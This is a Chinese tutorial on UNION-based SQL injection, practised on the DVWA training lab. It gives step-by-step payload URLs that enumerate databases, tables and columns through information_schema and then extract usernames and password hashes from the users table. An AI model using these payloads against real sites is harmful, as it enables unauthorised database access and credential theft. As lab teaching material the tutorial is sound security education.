SQL注入-联合查询注入

一,原理

使用union select对两个表联合查询,注意两个表查询的字段数量要相同,不然会报错。

比如表一有2个字段,表二有4个字段,要想联合查询必须查询字段数量相等,就得这么写:select * from tableA union select 1,2 from tableB

有无回显:有

二、information_schema库

在mysql5.2版本以上加入了information_schema库,作为元数据库,这个库里的schemata,tables,column表分别存放着数据库的库,表,字段信息。

1,information_schema.schemata表: 字段schema_name为库名

2,information_schema.tables表:字段较多,我们只需记住TABLE_SCHEMATABLE_NAME字段分别为库名 和表名就可以了。

3,information_column.column表:字段也比较多,我们只需记住TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME分别对应表所在库名,表名和字段名即可。

示例

环境:dvwa

一,先将dvwa调至low等级:

二,测试注入类型;

我们输入1' and '11' and '0时发现页面回显不同,可确定为字符串类型。



当传递参数1' and '1时,两边都为真,所以能查出数据,当传递参数为1' and '0时,因为0为假,所以查不出数据。

三、判断字段数

order by关键字:用于对查询结果排序。

--+:用于将后面的语句注释掉。

在URL中依次传递?id=1' order by 4 --+,?id=1' order by 3 --+ ,?id=1' order by 2 --+,发现传递?id=1' order by 2 --+时有回显(SQL语句没报错),说明字段数为2。

四、查看回显位置

我们知道了字段数为2,那么我们就可以通过联合查询判断字段显示位置:

payload:?id=-1' union select 1,2 --+:


根据回显结果得出字段1和字段2的回显位置。

五、联合查询敏感数据

常用内嵌函数
user() # 当前用户
version() # 数据库版本
database() # 当前数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本

查询当前用户和数据库:

?id=-1' union select user(),database() --+:在字段1和2的位置换上内嵌函数即可,注意联合注入前面的要让他报错(列如本次id=-1),后面的才会在页面回显出来。


查询可知我们的当前用户为root,数据库为dvwa

六、爆表

group_concat():关键字,将结果分组打印。

payload:?id=-1' union select user(),(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') --+:该payload意为查询information_schema库的tables表中的table_name字段中的数据,条件为table_schema=‘库名’(此处也可以用table_schema=database()代替),并将结果分组打印,关于information_schema库我们在上面说过。


由回显结果得出dvwa库中存在guestbook和users表。

七、爆字段

payload:?id=-1' union select user(),(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa') --+:从information_schema的columns表中查询column_name,条件为table_name=‘表名’,table_schema=‘库名’


这一步和上面差不多,都是对于元数据库的利用,只不过表名和字段名存放的表不一样而已,由回显结果显示users表中存在user_id,first_name,last_name,user,password,avatar,last_login,failed_login字段。

八、爆数据

注:如果你只需要验证漏洞是否存在,那么在上一步得出字段后基本就可以结束了。

limit 0,2:从第0条数据开始取出2个数据(取出前两条数据)。

0x3a:特殊字符:的ASCII码,用于分割结果。

as a:将结果取别名为a

payload:?id=-1' union select user(),(select group_concat(user,0x3a,password) from (select user,password from users limit 0,2 ) as a) --+:

得出前两条数据为admin:5f4dcc3b5aa765d61d8327deb882cf99,gordonb:e99a18c428cb38d5f260853678922e03。

其他:

建议使用hackbar工具进行注入较为方便,新版hackbar已经收费,可以在网上找旧版,因为我也是在网上找的不确定安全性就不发在这了。

SQL注入-联合查询注入相关推荐

  1. SQL注入——联合查询注入

    0x01 SQL注入的原理 针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原 有SQL结构,达到编写程序时意料之外结果的攻击行为.其成因可以归结外一下 两个原因叠加造成的: 1 ...

  2. 【SQL注入-03】union联合查询注入案例

    目录 1 union联合查询注入概述 1.1 简介 1.2 适用条件 1.3 注入步骤 1.4 注入技巧 2 union联合查询注入案例 2.1 操作环境 2.2 操作具体步骤 2.2.1 判断是否存 ...

  3. SQL注入之联合查询注入

    MySQL中的联合查询 联合查询是可合并多个相似的选择查询的结果集.等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果 ...

  4. sql注入 union联合查询注入(超详细)

    sql注入 union联合查询注入 我们以sqli-labs的第一关为例,来具体理解union联合查询注入的方法,理解每一步我为什么要这么去做. 好的,我们开始第一关! 首先查看sqli-labs第一 ...

  5. mysql联合查询注入防护,SQL注入之BypassWaf

    0x00 前言 无论是在CTF比赛中还是在现实项目中,都会遇到各种各样的waf,没有绝对安全的系统,仔细的研究总会发现被"漏掉"的地方. 最近在研究过waf的技巧,期间还是很有趣的 ...

  6. oracle中文字段名怎么查询_sql注入联合查询总结

    点击上方蓝色字关注我们 联合查询注入利用的前提: 前提条件:页面上有显示位 联合注入的过程: 1.判断注入点 2.判断是整型还是字符型 3.判断查询列数 4.判断显示位 5.获取所有数据库名 6.获取 ...

  7. sql注入联合查询小技巧绕过验证

    来源为一道ctf题目 <!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ ...

  8. sql集合.联合查询

    1.集合 集合:每一个sql查询的结果就是一个集合 select * from emp; 并集:取两个集合中所有元素 union all:表示取两个集合的并集,不删除重复元素 union:取两个集合的 ...

  9. sql  联合查询

    概述: 联合查询效率较高,举例子来说明联合查询:内联inner join .左联left outer join .右联right outer join .全联full outer join 的好处及用 ...

最新文章

  1. aida64副屏监控_“遥信”在电力监控系统中的重要作用
  2. resin管理后台登录配置
  3. Java多线程的实现方式-Thread 类,Runnable 接口
  4. 洛谷P2221 [HAOI2012]高速公路(线段树+概率期望)
  5. android中对sd卡的 操作文件问题 创建目录 创建文件到指定目录
  6. java简单的事务单元_junit 单元测试事务自动回滚(亲测有效)
  7. “数学不好,干啥都不行!”骨灰级程序员:别再瞎努力了!
  8. 特斯拉首个中国工厂落户上海临港
  9. 1100名达摩院“扫地僧”加持,阿里云的下一个十年
  10. checking build system type... ./config.guess: unable to guess system type/you must specify one
  11. 巧做“士兵突击”的个性日历
  12. 汇编语言:协处理器浮点指令:FILD
  13. 方框加对勾怎么输入_对号“√”怎么输入到方框“□”-空格对号
  14. Codeforces Round #101 (Div. 2)
  15. 拽一个贵人出来给你当炮架子
  16. 西交计算机科学与技术硕导,肖照林(硕导)
  17. 淘宝发布 18 年 18 件“时代宝贝”:胶卷、万能充、MP3 等
  18. 量化投资学习——汇率套利策略
  19. 广州尚顶网络科技有限公司二维码防伪防窜系统
  20. 2020全年小迪网络安全笔记(目录)

热门文章

  1. 论文导读 | 深度图生成模型简介
  2. odoo 自动生成编号
  3. linux python安装pip_如何在Linux中安装Pip
  4. 主板有电无法启动_电脑主板不供电无法开机怎么解决
  5. 如何在电子表格中的批注里插入多张图片
  6. 达梦数据库schema管理
  7. Springboot+疫苗预约网站 毕业设计-附源码190950
  8. Xbox One游戏欣赏:Forza 5 我的GT86(头文字D中那辆)
  9. SAP ERP 公有云为何是中国企业的转型首选?
  10. 通达信可以使用实盘接口吗?这有你需要了解的。